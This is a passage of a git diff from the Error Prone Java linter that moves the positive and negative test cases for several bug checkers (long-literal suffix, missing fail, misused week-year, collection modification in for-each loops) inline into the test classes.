.addSourceFile("testdata/LockOnNonEnclosingClassLiteralNegativeCases.java") + .addSourceLines( + "LockOnNonEnclosingClassLiteralNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + public class LockOnNonEnclosingClassLiteralNegativeCases { + + static { + synchronized (LockOnNonEnclosingClassLiteralNegativeCases.class) { + } + } + + private void methodContainsSynchronizedBlock() { + synchronized (LockOnNonEnclosingClassLiteralNegativeCases.class) { + } + synchronized (this) { + } + } + + class SubClass { + + public void methodContainsSynchronizedBlock() { + synchronized (SubClass.class) { + } + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/LongLiteralLowerCaseSuffixTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/LongLiteralLowerCaseSuffixTest.java index 5f613ddfe85..d7e4a00fca3 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/LongLiteralLowerCaseSuffixTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/LongLiteralLowerCaseSuffixTest.java @@ -36,7 +36,88 @@ public class LongLiteralLowerCaseSuffixTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/LongLiteralLowerCaseSuffixPositiveCase1.java") + .addSourceLines( + "LongLiteralLowerCaseSuffixPositiveCase1.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * Positive cases for {@link LongLiteralLowerCaseSuffix}. + */ +public class LongLiteralLowerCaseSuffixPositiveCase1 { + + // This constant string includes non-ASCII characters to make sure that we're not confusing + // bytes and chars: + @SuppressWarnings("unused") + private static final String TEST_STRING = "Îñţérñåţîöñåļîžåţîờñ"; + + public void positiveLowerCase() { + // BUG: Diagnostic contains: value = 123432L + long value = 123432l; + } + + public void zeroLowerCase() { + // BUG: Diagnostic contains: value = 0L + long value = 0l; + } + + public void negativeLowerCase() { + // BUG: Diagnostic contains: value = -123432L + long value = -123432l; + } + + public void negativeExtraSpacesLowerCase() { + // BUG: Diagnostic contains: value = - 123432L + long value = - 123432l; + } + + public void positiveHexLowerCase() { + // BUG: Diagnostic contains: value = 0x8abcDEF0L + long value = 0x8abcDEF0l; + // BUG: Diagnostic contains: value = 0X80L + value = 0X80l; + } + + public void zeroHexLowerCase() { + // BUG: Diagnostic contains: value = 0x0L + long value = 0x0l; + // BUG: Diagnostic contains: value = 0X0L + value = 0X0l; + } + + public void negativeHexLowerCase() { + // BUG: Diagnostic contains: value = -0x8abcDEF0L + long value = -0x8abcDEF0l; + // BUG: Diagnostic contains: value = -0X80L + value = -0X80l; + } + + public void negativeHexExtraSpacesLowerCase() { + // BUG: Diagnostic contains: value = - 0x8abcDEF0L + long value = - 0x8abcDEF0l; + } + + public void positiveOctalLowerCase() { + // BUG: Diagnostic contains: value = 06543L + long value = 06543l; + } + + public void zeroOctalLowerCase() { + // BUG: Diagnostic contains: value = 00L + long value = 00l; + } + + public void negativeOctalLowerCase() { + // BUG: Diagnostic contains: value = -06543L + long value = -06543l; + } + + public void negativeOctalExtraSpacesLowerCase() { + // BUG: Diagnostic contains: value = - 06543L + long value = - 06543l; + } + +}""") .doTest(); } @@ -44,14 +125,82 @@ public void positiveCase() { @Test public void java7PositiveCase() { compilationHelper - .addSourceFile("testdata/LongLiteralLowerCaseSuffixPositiveCase2.java") + .addSourceLines( + "LongLiteralLowerCaseSuffixPositiveCase2.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** Positive cases for {@link LongLiteralLowerCaseSuffix}. */ +public class LongLiteralLowerCaseSuffixPositiveCase2 { + + // This constant string includes non-ASCII characters to make sure that we're not confusing + // bytes and chars: + @SuppressWarnings("unused") + private static final String TEST_STRING = "Îñţérñåţîöñåļîžåţîờñ"; + + public void underscoredLowerCase() { + // BUG: Diagnostic contains: value = 0_1__2L + long value = 0_1__2l; + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/LongLiteralLowerCaseSuffixNegativeCases.java") + .addSourceLines( + "LongLiteralLowerCaseSuffixNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Negative cases for {@link LongLiteralLowerCaseSuffix} + * + * @author Simon Nickerson (sjnickerson@google.com) + */ + public class LongLiteralLowerCaseSuffixNegativeCases { + public void positiveUpperCase() { + long value = 123432L; + } + + public void zeroUpperCase() { + long value = 0L; + } + + public void negativeUpperCase() { + long value = -3L; + } + + public void notLong() { + String value = "0l"; + } + + public void variableEndingInEllIsNotALongLiteral() { + long ell = 0L; + long value = ell; + } + + public void positiveNoSuffix() { + long value = 3; + } + + public void negativeNoSuffix() { + long value = -3; + } + + public void positiveHexUpperCase() { + long value = 0x80L; + } + + public void zeroHexUpperCase() { + long value = 0x0L; + } + + public void negativeHexUpperCase() { + long value = -0x80L; + } + }""") .doTest(); } @@ -60,7 +209,88 @@ public void disableable() { compilationHelper .setArgs(ImmutableList.of("-Xep:LongLiteralLowerCaseSuffix:OFF")) .expectNoDiagnostics() - .addSourceFile("testdata/LongLiteralLowerCaseSuffixPositiveCase1.java") + .addSourceLines( + "LongLiteralLowerCaseSuffixPositiveCase1.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * Positive cases for {@link LongLiteralLowerCaseSuffix}. + */ +public class LongLiteralLowerCaseSuffixPositiveCase1 { + + // This constant string includes non-ASCII characters to make sure that we're not confusing + // bytes and chars: + @SuppressWarnings("unused") + private static final String TEST_STRING = "Îñţérñåţîöñåļîžåţîờñ"; + + public void positiveLowerCase() { + // BUG: Diagnostic contains: value = 123432L + long value = 123432l; + } + + public void zeroLowerCase() { + // BUG: Diagnostic contains: value = 0L + long value = 0l; + } + + public void negativeLowerCase() { + // BUG: Diagnostic contains: value = -123432L + long value = -123432l; + } + + public void negativeExtraSpacesLowerCase() { + // BUG: Diagnostic contains: value = - 123432L + long value = - 123432l; + } + + public void positiveHexLowerCase() { + // BUG: Diagnostic contains: value = 0x8abcDEF0L + long value = 0x8abcDEF0l; + // BUG: Diagnostic contains: value = 0X80L + value = 0X80l; + } + + public void zeroHexLowerCase() { + // BUG: Diagnostic contains: value = 0x0L + long value = 0x0l; + // BUG: Diagnostic contains: value = 0X0L + value = 0X0l; + } + + public void negativeHexLowerCase() { + // BUG: Diagnostic contains: value = -0x8abcDEF0L + long value = -0x8abcDEF0l; + // BUG: Diagnostic contains: value = -0X80L + value = -0X80l; + } + + public void negativeHexExtraSpacesLowerCase() { + // BUG: Diagnostic contains: value = - 0x8abcDEF0L + long value = - 0x8abcDEF0l; + } + + public void positiveOctalLowerCase() { + // BUG: Diagnostic contains: value = 06543L + long value = 06543l; + } + + public void zeroOctalLowerCase() { + // BUG: Diagnostic contains: value = 00L + long value = 00l; + } + + public void negativeOctalLowerCase() { + // BUG: Diagnostic contains: value = -06543L + long value = -06543l; + } + + public void negativeOctalExtraSpacesLowerCase() { + // BUG: Diagnostic contains: value = - 06543L + long value = - 06543l; + } + +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MissingFailTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MissingFailTest.java index 852d6a54e41..b9a985b27e3 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MissingFailTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MissingFailTest.java @@ -35,27 +35,734 @@ public class MissingFailTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/MissingFailPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "MissingFailPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + import org.junit.Assert; + import org.mockito.Mockito; + + /** Test cases for missing fail */ + public class MissingFailPositiveCases extends TestCase { + + private boolean foo = true; + + public void expectedException_emptyCatch() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + } + } + + public void catchAssert() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception e) { + assertDummy(); + } + } + + public void catchVerify() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception e) { + verifyDummy(); + } + } + + public void expectedException_throwOutsideTryTree() throws Exception { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + } + throw new Exception(); + } + + public void expectedException_assertLastCall() throws Exception { + try { + dummyMethod(); + // BUG: Diagnostic contains: fail() + assertDummy(); + } catch (Exception expected) { + } + throw new Exception(); + } + + public void expectedException_fieldAssignmentInCatch() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + foo = true; + } + } + + public void catchAssert_noopAssertLastCall() { + try { + dummyMethod(); + // BUG: Diagnostic contains: fail() + Assert.assertTrue(true); + } catch (Exception e) { + assertDummy(); + } + } + + public void assertInCatch_verifyNotLastStatement() { + try { + Mockito.verify(new Dummy()).dummy(); + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception e) { + assertDummy(); + } + } + + public void assertInCatch_verifyInCatch() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception e) { + assertDummy(); + Mockito.verify(new Dummy()).dummy(); + } + } + + public void expectedException_logInTry() { + try { + new Logger().log(); + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + foo = true; + } + } + + /** Sameple inner class. */ + public static class Inner { + public void expectedException_emptyCatch() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + } + } + } + + private static class Dummy { + + String dummy() { + return ""; + } + } + + private static class Logger { + + void log() {} + ; + + void info() {} + ; + } + + private static void dummyMethod() {} + + private static void assertDummy() {} + + private static void verifyDummy() {} + }""") + .doTest(); } @Test public void positiveCases2() { - compilationHelper.addSourceFile("testdata/MissingFailPositiveCases2.java").doTest(); + compilationHelper + .addSourceLines( + "MissingFailPositiveCases2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + // unused import to make sure we don't introduce an import conflict. + + import org.junit.Test; + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** Test cases for missing fail */ + @RunWith(JUnit4.class) + public class MissingFailPositiveCases2 { + + @Test + public void expectedException() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + } + } + + public void expectedException_helperMethod() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + } + } + + private static void dummyMethod() {} + }""") + .doTest(); } @Test public void positiveCases3() { - compilationHelper.addSourceFile("testdata/MissingFailPositiveCases3.java").doTest(); + compilationHelper + .addSourceLines( + "MissingFailPositiveCases3.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + + /** Examples of an inner test case. */ + public class MissingFailPositiveCases3 { + + /** Sample inner class. */ + public static class Inner extends TestCase { + + public void expectedException_emptyCatch() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception expected) { + } + } + + public void catchAssert() { + try { + // BUG: Diagnostic contains: fail() + dummyMethod(); + } catch (Exception e) { + assertDummy(); + } + } + } + + private static void dummyMethod() {} + + private static void assertDummy() {} + }""") + .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/MissingFailNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "MissingFailNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.HashMap; +import java.util.Map; +import junit.framework.AssertionFailedError; +import junit.framework.Test; +import junit.framework.TestCase; +import org.junit.After; +import org.junit.Assert; +import org.junit.Before; +import org.mockito.Mockito; + +/** Test cases for missing fail */ +public class MissingFailNegativeCases extends TestCase { + + private static final Logger logger = new Logger(); + private static final Logger log = new Logger(); + private static final Logger thingThatLogs = new Logger(); + + private boolean foo = true; + + public void expectedException_withFail() { + try { + dummyMethod(); + Assert.fail(); + } catch (Exception expected) { + } + } + + @SuppressWarnings("deprecation") // Need to recognize a framework call but don't want a warning. + public void expectedException_withFrameworkFail() { + try { + dummyMethod(); + junit.framework.Assert.fail(); + } catch (Exception expected) { + } + } + + public void expectedException_withStaticFail() { + try { + dummyMethod(); + fail(); + } catch (Exception expected) { + } + } + + public void expectedException_returnInTry() { + try { + dummyMethod(); + return; + } catch (Exception expected) { + } + } + + public void expectedException_returnInCatch() { + try { + dummyMethod(); + } catch (Exception expected) { + return; + } + } + + public void expectedException_returnAfterCatch() { + try { + dummyMethod(); + } catch (Exception expected) { + } + return; + } + + public void expectedException_throwInCatch() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + throw new Exception(); + } + } + + public void expectedException_throwInTry() throws Exception { + boolean foo = false; + try { + if (foo) { + throw new Exception(); + } + dummyMethod(); + } catch (Exception expected) { + } + } + + public void expectedException_throwSynonymInCatch() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + Assert.assertFalse(true); + } + } + + public void assertInCatch_testCaseThrowSynonymInCatch() throws Exception { + try { + dummyMethod(); + } catch (Exception e) { + assertFalse(true); + } + } + + public void expectedException_throwSynonymInTry() throws Exception { + boolean foo = false; + try { + if (foo) { + Assert.assertFalse(true); + } + dummyMethod(); + } catch (Exception expected) { + } + } + + public void expectedException_assertTrueFalse() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + Assert.assertTrue(false); + } + } + + public void expectedException_assertTrueFalseWithMessage() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + Assert.assertTrue("This should never happen", false); + } + } + + public void expectedException_testCaseAssertTrueFalseWithMessage() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + assertTrue("This should never happen", false); + } + } + + public void assertInCatch_assertTrueFalseWithMessage() throws Exception { + try { + dummyMethod(); + } catch (Exception e) { + Assert.assertTrue("This should never happen", false); + } + } + + public void expectedException_assertBoxedTrueFalse() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + Assert.assertTrue(Boolean.FALSE); + } + } + + public void expectedException_assertUnequal() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + Assert.assertEquals(1, 2); + } + } + + public void expectedException_testCaseAssertUnequal() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + assertEquals(1, 2); + } + } + + public void expectedException_assertFalse() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + assert (false); + } + } + + @Before + public void expectedException_beforeAnnotation() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + + @After + public void expectedException_afterAnnotation() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + + // Don't match setUp methods. + public void setUp() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + + // Don't match tearDown methods. + public void tearDown() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + + // Don't match main methods. + public static void main(String[] args) throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + + // Don't match suite methods. + public static Test suite() throws Exception { + try { + dummyMethod(); + } catch (Exception expected) { + } + int x; // Don't return right after catch so as not to trigger that exclusion. + return null; + } + + public void expectedException_interruptedException() throws Exception { + try { + dummyMethod(); + } catch (InterruptedException expected) { + } + } + + public void expectedException_assertionError() throws Exception { + try { + dummyMethod(); + } catch (AssertionError expected) { + } + } + + public void expectedException_assertionFailedError() throws Exception { + try { + dummyMethod(); + } catch (AssertionFailedError expected) { + } + } + + public void expectedException_throwable() throws Exception { + try { + dummyMethod(); + } catch (Throwable expected) { + } + } + + public void testExpectedException_loopInTestMethod() throws Exception { + for (int i = 0; i < 2; i++) { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + } + + public void expectedException_loopInHelperMethod() throws Exception { + for (int i = 0; i < 2; i++) { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + } + + public static Map assertInCatch_loopInHelperMethod(String... strings) { + Map map = new HashMap<>(); + for (String s : strings) { + try { + map.put(s, s); + } catch (Exception e) { + Assert.assertTrue(s.contains("foo")); + } + } + return map; + } + + // prefixed with "test" but private - not a test method. + private void testExpectedException_loopInPrivateTestHelperMethod() throws Exception { + for (int i = 0; i < 2; i++) { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + } + + // prefixed with "test" but returns - not a test method. + public String testExpectedException_loopInReturningTestHelperMethod() throws Exception { + for (int i = 0; i < 2; i++) { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + return ""; + } + + // Prefixed with "test" to not trigger loop in helper method exclusion. + public void testExpectedException_continueInCatch() throws Exception { + for (int i = 0; i < 2; i++) { + try { + dummyMethod(); + } catch (Exception expected) { + continue; + } + } + } + + // Prefixed with "test" to not trigger loop in helper method exclusion. + public void testExpectedException_continueInTry() throws Exception { + for (int i = 0; i < 2; i++) { + try { + dummyMethod(); + continue; + } catch (Exception expected) { + } + } + } + + public void expectedException_finally() { + try { + dummyMethod(); + } catch (Exception expected) { + } finally { + } + } + + public void expectedException_logInCatch() { + try { + dummyMethod(); + } catch (Exception expected) { + thingThatLogs.log(); + } + } + + public void expectedException_loggerCallInCatch() { + try { + dummyMethod(); + } catch (Exception expected) { + logger.info(); + } + } + + public void expectedException_logCallInCatch() { + try { + dummyMethod(); + } catch (Exception expected) { + log.info(); + } + } + + public void assertInCatch_assertLastCallInTry() { + try { + dummyMethod(); + assertDummy(); + } catch (Exception e) { + assertDummy(); + } + } + + public void assertInCatch_fieldAssignmentInCatch() { + try { + dummyMethod(); + } catch (Exception e) { + assertDummy(); + foo = true; + } + } + + public void assertInCatch_assertOnFieldInCatch() { + try { + dummyMethod(); + } catch (Exception e) { + Assert.assertTrue(foo); + } + } + + public void assertInCatch_assertOnVariableInCatch() { + boolean bar = false; + try { + dummyMethod(); + } catch (Exception e) { + Assert.assertTrue(bar); + } + } + + public void assertInCatch_verifyBeforeCatch() { + try { + dummyMethod(); + Mockito.verify(new Dummy()).dummy(); + } catch (Exception e) { + assertDummy(); + } + } + + public void assertInCatch_noopAssertInCatch() { + try { + dummyMethod(); + } catch (Exception e) { + assertTrue(true); + } + } + + public void expectedException_failInCatch() { + try { + dummyMethod(); + } catch (Exception expected) { + Assert.fail(); + } + } + + public void expectedException_whileTrue() { + try { + while (true) { + dummyMethod(); + } + } catch (Exception expected) { + } + } + + public void expectedException_customFail() { + try { + dummyMethod(); + specialFail(); + } catch (Exception expected) { + } + } + + private static void dummyMethod() throws InterruptedException {} + + private static void assertDummy() {} + + private static void specialFail() {} + + private static class Logger { + + void log() {} + ; + + void info() {} + ; + } + + private static class Dummy { + + String dummy() { + return ""; + } + } +}""") + .doTest(); } @Test public void negativeCases2() { - compilationHelper.addSourceFile("testdata/MissingFailNegativeCases2.java").doTest(); + compilationHelper + .addSourceLines( + "MissingFailNegativeCases2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** Test cases for missing fail in a non-test class */ + public class MissingFailNegativeCases2 { + + public void expectedException_emptyCatch() { + try { + dummyMethod(); + } catch (Exception expected) { + } + } + + public void catchAssert() { + try { + dummyMethod(); + } catch (Exception e) { + assertDummy(); + } + } + + private static void dummyMethod() {} + + private static void assertDummy() {} + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MisusedWeekYearTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MisusedWeekYearTest.java index 0aaa6e16b71..54242d0601a 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MisusedWeekYearTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MisusedWeekYearTest.java @@ -31,17 +31,205 @@ public class MisusedWeekYearTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/MisusedWeekYearPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "MisusedWeekYearPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.text.DateFormatSymbols; +import java.text.SimpleDateFormat; +import java.util.Locale; + +public class MisusedWeekYearPositiveCases { + void testConstructorWithLiteralPattern() { + // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd") + SimpleDateFormat simpleDateFormat = new SimpleDateFormat("YYYY-MM-dd"); + + // BUG: Diagnostic contains: new SimpleDateFormat("yy-MM-dd") + simpleDateFormat = new SimpleDateFormat("YY-MM-dd"); + + // BUG: Diagnostic contains: new SimpleDateFormat("y-MM-dd") + simpleDateFormat = new SimpleDateFormat("Y-MM-dd"); + + // BUG: Diagnostic contains: new SimpleDateFormat("yyyyMMdd_HHmm") + simpleDateFormat = new SimpleDateFormat("YYYYMMdd_HHmm"); + + // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd", DateFormatSymbols.getInstance()) + simpleDateFormat = new SimpleDateFormat("YYYY-MM-dd", DateFormatSymbols.getInstance()); + + // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd", Locale.getDefault()) + simpleDateFormat = new SimpleDateFormat("YYYY-MM-dd", Locale.getDefault()); + } + + void testConstructorWithLiteralPatternWithFolding() { + // TODO(eaftan): javac has a bug in that when it folds string literals, the start position of + // the folded string literal node is set as the start position of the + operator. We have + // fixed this in our internal javac, but haven't pushed the change to our external javac mirror. + // We should push that fix to the javac mirror repo, and then we can test that the suggested + // fix offered here is correct ("yyyy-MM-dd"). + // BUG: Diagnostic contains: + SimpleDateFormat simpleDateFormat = new SimpleDateFormat("YYYY" + "-MM-dd"); + } + + private static final String WEEK_YEAR_PATTERN = "YYYY"; + + private static final String WEEK_YEAR_PATTERN_2 = "YY"; + + private static final String WEEK_YEAR_PATTERN_3 = "Y"; + + void testConstructorWithConstantPattern() { + // BUG: Diagnostic contains: + SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN); + } + + void testConstructorWithConstantPattern2() { + // BUG: Diagnostic contains: + SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_2); + } + + void testConstructorWithConstantPattern3() { + // BUG: Diagnostic contains: + SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_3); + } + + void testConstructorWithConstantPatternWithFolding() { + // BUG: Diagnostic contains: + SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN + "-MM-dd"); + } + + void testConstructorWithConstantPatternWithFolding2() { + // BUG: Diagnostic contains: + SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_2 + "-MM-dd"); + } + + void testConstructorWithConstantPatternWithFolding3() { + // BUG: Diagnostic contains: + SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_3 + "-MM-dd"); + } + + void testApplyPatternAndApplyLocalizedPatternWithLiteralPattern() { + SimpleDateFormat sdf = new SimpleDateFormat(); + // BUG: Diagnostic contains: sdf.applyPattern("yyyy-MM-dd") + sdf.applyPattern("YYYY-MM-dd"); + // BUG: Diagnostic contains: sdf.applyLocalizedPattern("yyyy-MM-dd") + sdf.applyLocalizedPattern("YYYY-MM-dd"); + } + + void testApplyPatternAndApplyLocalizedPatternWithConstantPattern() { + SimpleDateFormat sdf = new SimpleDateFormat(); + // BUG: Diagnostic contains: + sdf.applyPattern(WEEK_YEAR_PATTERN); + // BUG: Diagnostic contains: + sdf.applyLocalizedPattern(WEEK_YEAR_PATTERN); + } + + void testDateTimeFormatter() { + // BUG: Diagnostic contains: + java.time.format.DateTimeFormatter.ofPattern(WEEK_YEAR_PATTERN); + } +}""") + .doTest(); } @Test public void positiveCases2() { - compilationHelper.addSourceFile("testdata/MisusedWeekYearPositiveCases2.java").doTest(); + compilationHelper + .addSourceLines( + "MisusedWeekYearPositiveCases2.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.ibm.icu.text.DateFormatSymbols; +import com.ibm.icu.text.SimpleDateFormat; +import com.ibm.icu.util.ULocale; +import java.util.Locale; + +/** Tests for {@link com.ibm.icu.text.SimpleDateFormat}. */ +public class MisusedWeekYearPositiveCases2 { + + void testConstructors() { + // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd") + SimpleDateFormat sdf = new SimpleDateFormat("YYYY-MM-dd"); + + // BUG: Diagnostic contains: + sdf = new SimpleDateFormat("YYYY-MM-dd", DateFormatSymbols.getInstance()); + + // BUG: Diagnostic contains: + sdf = new SimpleDateFormat("YYYY-MM-dd", DateFormatSymbols.getInstance(), ULocale.CANADA); + + // BUG: Diagnostic contains: + sdf = new SimpleDateFormat("YYYY-MM-dd", Locale.getDefault()); + + // BUG: Diagnostic contains: + sdf = new SimpleDateFormat("YYYY-MM-dd", "", ULocale.CANADA); + + // BUG: Diagnostic contains: + sdf = new SimpleDateFormat("YYYY-MM-dd", ULocale.CANADA); + } + + void testApplyPatternAndApplyLocalizedPattern() { + SimpleDateFormat sdf = new SimpleDateFormat(); + // BUG: Diagnostic contains: sdf.applyPattern("yyyy-MM-dd") + sdf.applyPattern("YYYY-MM-dd"); + // BUG: Diagnostic contains: + sdf.applyLocalizedPattern("YYYY-MM-dd"); + } +}""") + .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/MisusedWeekYearNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "MisusedWeekYearNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.text.DateFormatSymbols; +import java.text.SimpleDateFormat; +import java.util.Locale; + +public class MisusedWeekYearNegativeCases { + void testLiteralPattern() { + SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd"); + simpleDateFormat = new SimpleDateFormat("MM-dd"); + simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd", DateFormatSymbols.getInstance()); + simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd", Locale.getDefault()); + + // Don't flag if the pattern contains "ww", the week-in-year specifier. + simpleDateFormat = new SimpleDateFormat("YYYY-ww"); + simpleDateFormat = new SimpleDateFormat("YY-ww"); + simpleDateFormat = new SimpleDateFormat("Y-ww"); + simpleDateFormat = new SimpleDateFormat("Yw"); + } + + void testLiteralPatternWithFolding() { + SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy" + "-MM-dd"); + } + + private static final String WEEK_YEAR_PATTERN = "yyyy-MM-dd"; + + void testConstantPattern() { + SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN); + } + + private static class MySimpleDateFormat extends SimpleDateFormat { + public MySimpleDateFormat(String pattern) { + super(pattern); + } + } + + // Don't match on subtypes, since we don't know what their applyPattern and + // applyLocalizedPattern methods might do. + void testSubtype() { + MySimpleDateFormat mySdf = new MySimpleDateFormat("YYYY-MM-dd"); + mySdf.applyPattern("YYYY-MM-dd"); + mySdf.applyLocalizedPattern("YYYY-MM-dd"); + } +}""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ModifyCollectionInEnhancedForLoopTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ModifyCollectionInEnhancedForLoopTest.java index ae441ba9921..95fdf4c076e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ModifyCollectionInEnhancedForLoopTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ModifyCollectionInEnhancedForLoopTest.java @@ -31,14 +31,209 @@ public class ModifyCollectionInEnhancedForLoopTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ModifyCollectionInEnhancedForLoopPositiveCases.java") + .addSourceLines( + "ModifyCollectionInEnhancedForLoopPositiveCases.java", + """ + package com.google.errorprone.bugpatterns; + + import java.util.ArrayList; + import java.util.HashMap; + import java.util.HashSet; + import java.util.LinkedList; + import java.util.Map; + + /** + * @author anishvisaria98@gmail.com (Anish Visaria) + */ + public class ModifyCollectionInEnhancedForLoopPositiveCases { + + public static void testBasic(ArrayList arr, HashSet set) { + for (Integer a : arr) { + // BUG: Diagnostic contains: + arr.add(new Integer("42")); + // BUG: Diagnostic contains: + arr.addAll(set); + // BUG: Diagnostic contains: + arr.clear(); + // BUG: Diagnostic contains: + arr.remove(a); + // BUG: Diagnostic contains: + arr.removeAll(set); + // BUG: Diagnostic contains: + arr.retainAll(set); + } + } + + public static void testNested(ArrayList arr, LinkedList list) { + for (Integer x : arr) { + for (Integer y : list) { + // BUG: Diagnostic contains: + arr.add(y); + // BUG: Diagnostic contains: + arr.addAll(list); + // BUG: Diagnostic contains: + arr.clear(); + // BUG: Diagnostic contains: + arr.remove(x); + // BUG: Diagnostic contains: + arr.removeAll(list); + // BUG: Diagnostic contains: + arr.retainAll(list); + // BUG: Diagnostic contains: + list.add(x); + // BUG: Diagnostic contains: + list.addAll(arr); + // BUG: Diagnostic contains: + list.clear(); + // BUG: Diagnostic contains: + list.remove(y); + // BUG: Diagnostic contains: + list.removeAll(arr); + // BUG: Diagnostic contains: + list.retainAll(arr); + } + } + } + + public static void testMapKeySet(HashMap map) { + for (Integer a : map.keySet()) { + // BUG: Diagnostic contains: + map.putIfAbsent(new Integer("42"), new Integer("43")); + // BUG: Diagnostic contains: + map.clear(); + // BUG: Diagnostic contains: + map.remove(a); + } + } + + public static void testMapValues(HashMap map) { + for (Integer a : map.values()) { + // BUG: Diagnostic contains: + map.putIfAbsent(new Integer("42"), new Integer("43")); + // BUG: Diagnostic contains: + map.putIfAbsent(new Integer("42"), a); + // BUG: Diagnostic contains: + map.clear(); + } + } + + public static void testMapEntrySet(HashMap map) { + for (Map.Entry a : map.entrySet()) { + // BUG: Diagnostic contains: + map.putIfAbsent(new Integer("42"), new Integer("43")); + // BUG: Diagnostic contains: + map.clear(); + // BUG: Diagnostic contains: + map.remove(a.getKey()); + } + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ModifyCollectionInEnhancedForLoopNegativeCases.java") + .addSourceLines( + "ModifyCollectionInEnhancedForLoopNegativeCases.java", + """ +package com.google.errorprone.bugpatterns; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.HashSet; +import java.util.LinkedList; +import 